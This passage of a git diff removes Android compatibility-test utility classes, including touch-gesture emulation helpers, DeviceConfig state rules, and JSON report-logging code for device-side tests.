- * @param isDownwardsFlingGesture if <code>true</code>, the emulated fling will
- * be a downwards gesture
- * @return The vertical amount of emulated fling in pixels
- */
- public static int emulateFlingGesture(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule, View view, boolean isDownwardsFlingGesture) {
- return emulateFlingGesture(instrumentation, activityTestRule,
- view, isDownwardsFlingGesture, null);
- }
-
- /**
- * Emulates a fling gesture across the horizontal center of the passed view.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param view the view to fling
- * @param isDownwardsFlingGesture if <code>true</code>, the emulated fling will
- * be a downwards gesture
- * @param eventInjectionListener optional listener to notify about the injected events
- * @return The vertical amount of emulated fling in pixels
- */
- public static int emulateFlingGesture(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule, View view, boolean isDownwardsFlingGesture,
- EventInjectionListener eventInjectionListener) {
- final ViewConfiguration configuration = ViewConfiguration.get(view.getContext());
- final int flingVelocity = (configuration.getScaledMinimumFlingVelocity() +
- configuration.getScaledMaximumFlingVelocity()) / 2;
- // Get view coordinates on the screen
- final int[] viewOnScreenXY = new int[2];
- view.getLocationOnScreen(viewOnScreenXY);
-
- // Our fling gesture will be from 25% height of the view to 75% height of the view
- // for downwards fling gesture, and the other way around for upwards fling gesture
- final int viewHeight = view.getHeight();
- final int x = viewOnScreenXY[0] + view.getWidth() / 2;
- final int startY = isDownwardsFlingGesture ? viewOnScreenXY[1] + viewHeight / 4
- : viewOnScreenXY[1] + 3 * viewHeight / 4;
- final int amountY = isDownwardsFlingGesture ? viewHeight / 2 : -viewHeight / 2;
-
- // Compute fling gesture duration based on the distance (50% height of the view) and
- // fling velocity
- final int durationMs = (1000 * viewHeight) / (2 * flingVelocity);
-
- // And do the same event injection sequence as our generic drag gesture
- emulateDragGesture(instrumentation, activityTestRule,
- x, startY, 0, amountY, durationMs, durationMs / 16,
- eventInjectionListener);
-
- return amountY;
- }
-
- private static class ViewStateSnapshot {
- final View mFirst;
- final View mLast;
- final int mFirstTop;
- final int mLastBottom;
- final int mChildCount;
- private ViewStateSnapshot(ViewGroup viewGroup) {
- mChildCount = viewGroup.getChildCount();
- if (mChildCount == 0) {
- mFirst = mLast = null;
- mFirstTop = mLastBottom = Integer.MIN_VALUE;
- } else {
- mFirst = viewGroup.getChildAt(0);
- mLast = viewGroup.getChildAt(mChildCount - 1);
- mFirstTop = mFirst.getTop();
- mLastBottom = mLast.getBottom();
- }
- }
-
- @Override
- public boolean equals(Object o) {
- if (this == o) {
- return true;
- }
- if (o == null || getClass() != o.getClass()) {
- return false;
- }
-
- final ViewStateSnapshot that = (ViewStateSnapshot) o;
- return mFirstTop == that.mFirstTop &&
- mLastBottom == that.mLastBottom &&
- mFirst == that.mFirst &&
- mLast == that.mLast &&
- mChildCount == that.mChildCount;
- }
-
- @Override
- public int hashCode() {
- int result = mFirst != null ? mFirst.hashCode() : 0;
- result = 31 * result + (mLast != null ? mLast.hashCode() : 0);
- result = 31 * result + mFirstTop;
- result = 31 * result + mLastBottom;
- result = 31 * result + mChildCount;
- return result;
- }
- }
-
- /**
- * Emulates a scroll to the bottom of the specified {@link ViewGroup}.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param viewGroup View group
- */
- public static void emulateScrollToBottom(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule, ViewGroup viewGroup) {
- final int[] viewGroupOnScreenXY = new int[2];
- viewGroup.getLocationOnScreen(viewGroupOnScreenXY);
-
- final int emulatedX = viewGroupOnScreenXY[0] + viewGroup.getWidth() / 2;
- final int emulatedStartY = viewGroupOnScreenXY[1] + 3 * viewGroup.getHeight() / 4;
- final int swipeAmount = viewGroup.getHeight() / 2;
-
- ViewStateSnapshot prev;
- ViewStateSnapshot next = new ViewStateSnapshot(viewGroup);
- do {
- prev = next;
- emulateDragGesture(instrumentation, activityTestRule,
- emulatedX, emulatedStartY, 0, -swipeAmount, 300, 10);
- next = new ViewStateSnapshot(viewGroup);
- } while (!prev.equals(next));
- }
-
- /**
- * Emulates a long press in the center of the passed {@link View}.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param view the view to "long press"
- */
- public static void emulateLongPressOnViewCenter(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule, View view) {
- emulateLongPressOnViewCenter(instrumentation, activityTestRule, view, 0);
- }
-
- /**
- * Emulates a long press in the center of the passed {@link View}.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param view the view to "long press"
- * @param extraWaitMs the duration of emulated "long press" in milliseconds starting
- * after system-level long press timeout.
- */
- public static void emulateLongPressOnViewCenter(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule, View view, long extraWaitMs) {
- final int touchSlop = ViewConfiguration.get(view.getContext()).getScaledTouchSlop();
- // Use instrumentation to emulate a tap on the spinner to bring down its popup
- final int[] viewOnScreenXY = new int[2];
- view.getLocationOnScreen(viewOnScreenXY);
- int xOnScreen = viewOnScreenXY[0] + view.getWidth() / 2;
- int yOnScreen = viewOnScreenXY[1] + view.getHeight() / 2;
-
- emulateLongPressOnScreen(instrumentation, activityTestRule,
- xOnScreen, yOnScreen, touchSlop, extraWaitMs, true);
- }
-
- /**
- * Emulates a long press confirmed on a point relative to the top-left corner of the passed
- * {@link View}. Offset parameters are used to compute the final screen coordinates of the
- * press point.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param view the view to "long press"
- * @param offsetX extra X offset for the tap
- * @param offsetY extra Y offset for the tap
- */
- public static void emulateLongPressOnView(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule, View view, int offsetX, int offsetY) {
- final int touchSlop = ViewConfiguration.get(view.getContext()).getScaledTouchSlop();
- final int[] viewOnScreenXY = new int[2];
- view.getLocationOnScreen(viewOnScreenXY);
- int xOnScreen = viewOnScreenXY[0] + offsetX;
- int yOnScreen = viewOnScreenXY[1] + offsetY;
-
- emulateLongPressOnScreen(instrumentation, activityTestRule,
- xOnScreen, yOnScreen, touchSlop, 0, true);
- }
-
- /**
- * Emulates a long press then a linear drag gesture between 2 points across the screen.
- * This is used for drag selection.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param dragStartX Start X of the emulated drag gesture
- * @param dragStartY Start Y of the emulated drag gesture
- * @param dragAmountX X amount of the emulated drag gesture
- * @param dragAmountY Y amount of the emulated drag gesture
- */
- public static void emulateLongPressAndDragGesture(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule,
- int dragStartX, int dragStartY, int dragAmountX, int dragAmountY) {
- emulateLongPressOnScreen(instrumentation, activityTestRule, dragStartX, dragStartY,
- 0 /* touchSlop */, 0 /* extraWaitMs */, false /* upGesture */);
- emulateDragGesture(instrumentation, activityTestRule, dragStartX, dragStartY, dragAmountX,
- dragAmountY);
- }
-
- /**
- * Emulates a long press on the screen.
- *
- * @param instrumentation the instrumentation used to run the test
- * @param xOnScreen X position on screen for the "long press"
- * @param yOnScreen Y position on screen for the "long press"
- * @param extraWaitMs extra duration of emulated long press in milliseconds added
- * after the system-level "long press" timeout.
- * @param upGesture whether to include an up event.
- */
- private static void emulateLongPressOnScreen(Instrumentation instrumentation,
- ActivityTestRule<?> activityTestRule,
- int xOnScreen, int yOnScreen, int touchSlop, long extraWaitMs, boolean upGesture) {
- final UiAutomation uiAutomation = instrumentation.getUiAutomation();
- final long downTime = SystemClock.uptimeMillis();
-
- injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
- injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
- SystemClock.sleep((long) (ViewConfiguration.getLongPressTimeout() * 1.5f) + extraWaitMs);
- if (upGesture) {
- injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
- }
-
- // Wait for the system to process all events in the queue
- if (activityTestRule != null) {
- WidgetTestUtils.runOnMainAndDrawSync(activityTestRule,
- activityTestRule.getActivity().getWindow().getDecorView(), null);
- } else {
- instrumentation.waitForIdleSync();
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java
deleted file mode 100644
index a13da52..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.provider.DeviceConfig;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * JUnit rule used to set a {@link DeviceConfig} preference before the test is run.
- *
- * <p>It stores the current value before the test, changes it (if necessary), then restores it after
- * the test (if necessary).
- */
-public class DeviceConfigStateChangerRule extends StateChangerRule<String> {
-
- /**
- * Default constructor.
- *
- * @param context context used to retrieve the {@link DeviceConfig} provider.
- * @param namespace {@code DeviceConfig} namespace.
- * @param key prefence key.
- * @param value value to be set before the test is run.
- */
- public DeviceConfigStateChangerRule(@NonNull Context context, @NonNull String namespace,
- @NonNull String key, @Nullable String value) {
- this(new DeviceConfigStateManager(context, namespace, key), value);
- }
-
- /**
- * Alternative constructor used when then test case already defines a
- * {@link DeviceConfigStateManager}.
- */
- public DeviceConfigStateChangerRule(@NonNull DeviceConfigStateManager dcsm,
- @Nullable String value) {
- super(dcsm, value);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java
deleted file mode 100644
index 6f186de..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.provider.DeviceConfig;
-
-import androidx.annotation.NonNull;
-
-/**
- * JUnit rule used to restore a {@link DeviceConfig} preference after the test is run.
- *
- * <p>It stores the current value before the test, and restores it after the test (if necessary).
- */
-public class DeviceConfigStateKeeperRule extends StateKeeperRule<String> {
-
- /**
- * Default constructor.
- *
- * @param context context used to retrieve the {@link DeviceConfig} provider.
- * @param namespace {@code DeviceConfig} namespace.
- * @param key prefence key.
- */
- public DeviceConfigStateKeeperRule(@NonNull Context context, @NonNull String namespace,
- @NonNull String key) {
- super(new DeviceConfigStateManager(context, namespace, key));
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateManager.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
deleted file mode 100644
index 040641c..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
-
-import android.content.Context;
-import android.provider.DeviceConfig;
-import android.provider.Settings;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import com.google.common.base.Preconditions;
-
-import java.util.concurrent.atomic.AtomicReference;
-
-/**
- * Manages the state of a preference backed by {@link DeviceConfig}.
- */
-public final class DeviceConfigStateManager implements StateManager<String> {
-
- private static final String TAG = DeviceConfigStateManager.class.getSimpleName();
-
- private final Context mContext;
- private final String mNamespace;
- private final String mKey;
-
- /**
- * Default constructor.
- *
- * @param context context used to retrieve the {@link Settings} provider.
- * @param namespace settings namespace.
- * @param key prefence key.
- */
- public DeviceConfigStateManager(@NonNull Context context, @NonNull String namespace,
- @NonNull String key) {
- debug("DeviceConfigStateManager", "namespace=%s, key=%s", namespace, key);
-
- mContext = Preconditions.checkNotNull(context);
- mNamespace = Preconditions.checkNotNull(namespace);
- mKey = Preconditions.checkNotNull(key);
- }
-
- @Override
- public void set(@Nullable String value) {
- debug("set", "new value is %s", value);
- runWithShellPermissionIdentity(() -> setWithPermissionsGranted(value),
- "android.permission.READ_DEVICE_CONFIG", "android.permission.WRITE_DEVICE_CONFIG");
- }
-
- private void setWithPermissionsGranted(@Nullable String value) {
- final OneTimeDeviceConfigListener listener = new OneTimeDeviceConfigListener(mNamespace,
- mKey);
- DeviceConfig.addOnPropertiesChangedListener(mNamespace, mContext.getMainExecutor(),
- listener);
-
- DeviceConfig.setProperty(mNamespace, mKey, value, /* makeDefault= */ false);
- listener.assertCalled();
- }
-
- @Override
- @Nullable
- public String get() {
- final AtomicReference<String> reference = new AtomicReference<>();
- runWithShellPermissionIdentity(()
- -> reference.set(DeviceConfig.getProperty(mNamespace, mKey)),
- "android.permission.READ_DEVICE_CONFIG");
- debug("get", "returning %s", reference.get());
-
- return reference.get();
- }
-
- private void debug(@NonNull String methodName, @NonNull String msg, Object...args) {
- if (!Log.isLoggable(TAG, Log.DEBUG)) return;
-
- final String prefix = String.format("%s(%s:%s): ", methodName, mNamespace, mKey);
- Log.d(TAG, prefix + String.format(msg, args));
- }
-
- @Override
- public String toString() {
- return "DeviceConfigStateManager[namespace=" + mNamespace + ", key=" + mKey + "]";
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java
deleted file mode 100644
index 03f69fa..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java
+++ /dev/null
@@ -1,260 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.util.JsonWriter;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.OutputStreamWriter;
-import java.nio.charset.StandardCharsets;
-import java.util.Arrays;
-import java.util.List;
-
-public class DeviceInfoStore extends InfoStore {
-
- protected File mJsonFile;
- protected JsonWriter mJsonWriter = null;
-
- public DeviceInfoStore() {
- mJsonFile = null;
- }
-
- public DeviceInfoStore(File file) throws Exception {
- mJsonFile = file;
- }
-
- /**
- * Opens the file for storage and creates the writer.
- */
- @Override
- public void open() throws IOException {
- FileOutputStream out = new FileOutputStream(mJsonFile);
- mJsonWriter = new JsonWriter(new OutputStreamWriter(out, StandardCharsets.UTF_8));
- // TODO(agathaman): remove to make json output less pretty
- mJsonWriter.setIndent(" ");
- mJsonWriter.beginObject();
- }
-
- /**
- * Closes the writer.
- */
- @Override
- public void close() throws Exception {
- mJsonWriter.endObject();
- mJsonWriter.flush();
- mJsonWriter.close();
- }
-
- /**
- * Start a new group of result.
- */
- @Override
- public void startGroup() throws IOException {
- mJsonWriter.beginObject();
- }
-
- /**
- * Start a new group of result with specified name.
- */
- @Override
- public void startGroup(String name) throws IOException {
- mJsonWriter.name(name);
- mJsonWriter.beginObject();
- }
-
- /**
- * Complete adding result to the last started group.
- */
- @Override
- public void endGroup() throws IOException {
- mJsonWriter.endObject();
- }
-
- /**
- * Start a new array of result.
- */
- @Override
- public void startArray() throws IOException {
- mJsonWriter.beginArray();
- }
-
- /**
- * Start a new array of result with specified name.
- */
- @Override
- public void startArray(String name) throws IOException {
- checkName(name);
- mJsonWriter.name(name);
- mJsonWriter.beginArray();
- }
-
- /**
- * Complete adding result to the last started array.
- */
- @Override
- public void endArray() throws IOException {
- mJsonWriter.endArray();
- }
-
- /**
- * Adds a int value to the InfoStore
- */
- @Override
- public void addResult(String name, int value) throws IOException {
- checkName(name);
- mJsonWriter.name(name);
- mJsonWriter.value(value);
- }
-
- /**
- * Adds a long value to the InfoStore
- */
- @Override
- public void addResult(String name, long value) throws IOException {
- checkName(name);
- mJsonWriter.name(name);
- mJsonWriter.value(value);
- }
-
- /**
- * Adds a float value to the InfoStore
- */
- @Override
- public void addResult(String name, float value) throws IOException {
- addResult(name, (double) value);
- }
-
- /**
- * Adds a double value to the InfoStore
- */
- @Override
- public void addResult(String name, double value) throws IOException {
- checkName(name);
- if (isDoubleNaNOrInfinite(value)) {
- return;
- } else {
- mJsonWriter.name(name);
- mJsonWriter.value(value);
- }
- }
-
- /**
- * Adds a boolean value to the InfoStore
- */
- @Override
- public void addResult(String name, boolean value) throws IOException {
- checkName(name);
- mJsonWriter.name(name);
- mJsonWriter.value(value);
- }
-
- /**
- * Adds a String value to the InfoStore
- */
- @Override
- public void addResult(String name, String value) throws IOException {
- checkName(name);
- mJsonWriter.name(name);
- mJsonWriter.value(checkString(value));
- }
-
- /**
- * Adds a int array to the InfoStore
- */
- @Override
- public void addArrayResult(String name, int[] array) throws IOException {
- checkName(name);
- mJsonWriter.name(name);
- mJsonWriter.beginArray();
- for (int value : checkArray(array)) {
- mJsonWriter.value(value);
- }
- mJsonWriter.endArray();
- }
-
- /**
- * Adds a long array to the InfoStore
- */
- @Override
- public void addArrayResult(String name, long[] array) throws IOException {
- checkName(name);
- mJsonWriter.name(name);
- mJsonWriter.beginArray();
- for (long value : checkArray(array)) {
- mJsonWriter.value(value);
- }
- mJsonWriter.endArray();
- }
-
- /**
- * Adds a float array to the InfoStore
- */
- @Override
- public void addArrayResult(String name, float[] array) throws IOException {
- double[] doubleArray = new double[array.length];
- for (int i = 0; i < array.length; i++) {
- doubleArray[i] = array[i];
- }
- addArrayResult(name, doubleArray);
- }
-
- /**
- * Adds a double array to the InfoStore
- */
- @Override
- public void addArrayResult(String name, double[] array) throws IOException {
- checkName(name);
- mJsonWriter.name(name);
- mJsonWriter.beginArray();
- for (double value : checkArray(array)) {
- if (isDoubleNaNOrInfinite(value)) {
- continue;
- }
- mJsonWriter.value(value);
- }
- mJsonWriter.endArray();
- }
-
- /**
- * Adds a boolean array to the InfoStore
- */
- @Override
- public void addArrayResult(String name, boolean[] array) throws IOException {
- checkName(name);
- mJsonWriter.name(name);
- mJsonWriter.beginArray();
- for (boolean value : checkArray(array)) {
- mJsonWriter.value(value);
- }
- mJsonWriter.endArray();
- }
-
- /**
- * Adds a List of String to the InfoStore
- */
- @Override
- public void addListResult(String name, List<String> list) throws IOException {
- checkName(name);
- mJsonWriter.name(name);
- mJsonWriter.beginArray();
- for (String value : checkStringList(list)) {
- mJsonWriter.value(checkString(value));
- }
- mJsonWriter.endArray();
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java
deleted file mode 100644
index d170263..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java
+++ /dev/null
@@ -1,283 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.Instrumentation;
-import android.os.Bundle;
-import android.os.Environment;
-import android.util.Log;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.List;
-
-/**
- * Handles adding results to the report for device side tests.
- *
- * NOTE: tests MUST call {@link #submit(Instrumentation)} if and only if the test passes in order to
- * send the results to the runner.
- */
-public class DeviceReportLog extends ReportLog {
- private static final String TAG = DeviceReportLog.class.getSimpleName();
- private static final String RESULT = "COMPATIBILITY_TEST_RESULT";
- private static final int INST_STATUS_ERROR = -1;
- private static final int INST_STATUS_IN_PROGRESS = 2;
-
- private ReportLogDeviceInfoStore store;
-
- public DeviceReportLog(String reportLogName, String streamName) {
- this(reportLogName, streamName,
- new File(Environment.getExternalStorageDirectory(), "report-log-files"));
- }
-
- public DeviceReportLog(String reportLogName, String streamName, File logDirectory) {
- super(reportLogName, streamName);
- try {
- // dir value must match the src-dir value configured in ReportLogCollector target
- // preparer in cts/harness/tools/cts-tradefed/res/config/cts-preconditions.xml
- if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
- throw new IOException("External storage is not mounted");
- } else if ((!logDirectory.exists() && !logDirectory.mkdirs())
- || (logDirectory.exists() && !logDirectory.isDirectory())) {
- throw new IOException("Cannot create directory for device info files");
- } else {
- File jsonFile = new File(logDirectory, mReportLogName + ".reportlog.json");
- store = new ReportLogDeviceInfoStore(jsonFile, mStreamName);
- store.open();
- }
- } catch (Exception e) {
- Log.e(TAG, "Could not create report log file.", e);
- }
- }
-
- /**
- * Adds a double metric to the report.
- */
- @Override
- public void addValue(String source, String message, double value, ResultType type,
- ResultUnit unit) {
- super.addValue(source, message, value, type, unit);
- try {
- store.addResult(message, value);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Adds a double metric to the report.
- */
- @Override
- public void addValue(String message, double value, ResultType type, ResultUnit unit) {
- super.addValue(message, value, type, unit);
- try {
- store.addResult(message, value);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Adds a double array of metrics to the report.
- */
- @Override
- public void addValues(String source, String message, double[] values, ResultType type,
- ResultUnit unit) {
- super.addValues(source, message, values, type, unit);
- try {
- store.addArrayResult(message, values);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Adds a double array of metrics to the report.
- */
- @Override
- public void addValues(String message, double[] values, ResultType type, ResultUnit unit) {
- super.addValues(message, values, type, unit);
- try {
- store.addArrayResult(message, values);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Adds an int metric to the report.
- */
- @Override
- public void addValue(String message, int value, ResultType type, ResultUnit unit) {
- try {
- store.addResult(message, value);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Adds a long metric to the report.
- */
- @Override
- public void addValue(String message, long value, ResultType type, ResultUnit unit) {
- try {
- store.addResult(message, value);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Adds a float metric to the report.
- */
- @Override
- public void addValue(String message, float value, ResultType type, ResultUnit unit) {
- try {
- store.addResult(message, value);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Adds a boolean metric to the report.
- */
- @Override
- public void addValue(String message, boolean value, ResultType type, ResultUnit unit) {
- try {
- store.addResult(message, value);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Adds a String metric to the report.
- */
- @Override
- public void addValue(String message, String value, ResultType type, ResultUnit unit) {
- try {
- store.addResult(message, value);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Adds an int array of metrics to the report.
- */
- @Override
- public void addValues(String message, int[] values, ResultType type, ResultUnit unit) {
- try {
- store.addArrayResult(message, values);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Adds a long array of metrics to the report.
- */
- @Override
- public void addValues(String message, long[] values, ResultType type, ResultUnit unit) {
- try {
- store.addArrayResult(message, values);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Adds a float array of metrics to the report.
- */
- @Override
- public void addValues(String message, float[] values, ResultType type, ResultUnit unit) {
- try {
- store.addArrayResult(message, values);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Adds a boolean array of metrics to the report.
- */
- @Override
- public void addValues(String message, boolean[] values, ResultType type, ResultUnit unit) {
- try {
- store.addArrayResult(message, values);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Adds a String List of metrics to the report.
- */
- @Override
- public void addValues(String message, List<String> values, ResultType type, ResultUnit unit) {
- try {
- store.addListResult(message, values);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Sets the summary double metric of the report.
- *
- * NOTE: messages over {@value Metric#MAX_MESSAGE_LENGTH} chars will be trimmed.
- */
- @Override
- public void setSummary(String message, double value, ResultType type, ResultUnit unit) {
- super.setSummary(message, value, type, unit);
- try {
- store.addResult(message, value);
- } catch (Exception e) {
- Log.e(TAG, "Could not log metric.", e);
- }
- }
-
- /**
- * Closes report file and submits report to instrumentation.
- */
- public void submit(Instrumentation instrumentation) {
- try {
- store.close();
- Bundle output = new Bundle();
- output.putString(RESULT, serialize(this));
- instrumentation.sendStatus(INST_STATUS_IN_PROGRESS, output);
- } catch (Exception e) {
- Log.e(TAG, "ReportLog Submit Failed", e);
- instrumentation.sendStatus(INST_STATUS_ERROR, null);
- }
- }
-
- /**
- * Closes report file. Static functions that do not have access to instrumentation can
- * use this to close report logs. Summary, if present, is not reported to instrumentation, hence
- * does not appear in the result XML.
- */
- public void submit() {
- try {
- store.close();
- } catch (Exception e) {
- Log.e(TAG, "ReportLog Submit Failed", e);
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DoubleVisitor.java b/common/device-side/util/src/com/android/compatibility/common/util/DoubleVisitor.java
deleted file mode 100644
index 96fb3bb..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DoubleVisitor.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import androidx.annotation.NonNull;
-
-/**
- * Implements the Visitor design pattern to visit 2 related objects (like a view and the activity
- * hosting it).
- *
- * @param <V1> 1st visited object
- * @param <V2> 2nd visited object
- */
-public interface DoubleVisitor<V1, V2> {
-
- /**
- * Visit those objects.
- */
- void visit(@NonNull V1 visited1, @NonNull V2 visited2);
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DummyActivity.java b/common/device-side/util/src/com/android/compatibility/common/util/DummyActivity.java
deleted file mode 100644
index 672106c..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DummyActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-package com.android.compatibility.common.util;
-
-import android.app.Activity;
-
-public class DummyActivity extends Activity {
-
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java b/common/device-side/util/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
deleted file mode 100644
index 0e443fb..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.ContentResolver;
-import android.content.Context;
-import android.net.Uri;
-import android.os.Environment;
-import android.os.ParcelFileDescriptor;
-import android.util.Log;
-
-import android.support.test.InstrumentationRegistry;
-
